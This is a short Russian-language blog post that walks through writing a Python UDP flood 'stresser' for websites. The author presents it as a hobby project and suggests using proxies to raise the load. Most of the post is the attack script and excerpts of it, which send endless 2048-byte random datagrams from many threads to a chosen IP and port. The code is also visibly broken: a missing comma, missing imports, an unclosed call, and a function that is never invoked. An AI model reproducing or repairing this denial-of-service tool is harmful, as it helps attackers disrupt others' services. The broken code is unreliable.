Недавно я загорелся энтузиазмом, сделать что-то «грандиозное», как и следовало ожидать, большинство посоветовало мне сделать уроки, и тут я вспомнил, что изучал сокеты и мгновенно мне в голову пришла мысль написать стрессер сайтов. Оставим лишнюю информацию и наконец перейдём к разработке.
Теоретическая часть
Стрессер будет построен на UDP-запросах, а это значит что мы будем посылать короткие запросы большого объёма. Защититься от такой атаки довольно легко, достаточно ограничить кол-во обращений к портам.
Практика
От теории переходим к практике. Будем формировать массивные запросы состоящие 2048 символов.
import socket, random, threading
def start (ip port, threads):
try:
for x in range(threads):
udp_thread = UDPThread()
udp_thread.start()
time.sleep(.1)
except(KeyboardInterrupt):
os.system('cls' if os.name == 'nt' else 'clear')
class UDPThread(threading.Thread):
def run (self):
data = random._urandom(2048)
while True:
sock = socket.socket(
socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(data, (ip, int(port)))
print("Запущена атака на: {ip}:{port}".format(ip, port)
if __name__ == "__main__":
ip = input("IP: ")
port = input("Port: ")
threads = input("Threads: ")
Давайте разберёмся в коде.
Ну тут думаю всё понятно, мы просто создаем потоки.
def start (ip port, threads):
try:
for x in range(threads):
udp_thread = UDPThread()
udp_thread.start()
time.sleep(.1)
except(KeyboardInterrupt):
os.system('cls' if os.name == 'nt' else 'clear')
Используем модуль рандом, чтобы сгенерировать очень большой запрос.
data = random._urandom(2048)
С помощью сокетов, отправляем запросы на нужный IP-адрес и порт.
sock.sendto(data, (ip, int(port)))
Вывод
Как мы видем, написать стрессер не сложно, если использовать прокси, то запросов будет гораздо больше, соответственно и нагрузка выше.
Всем хорошего настроения и до свидания!
Автор: pull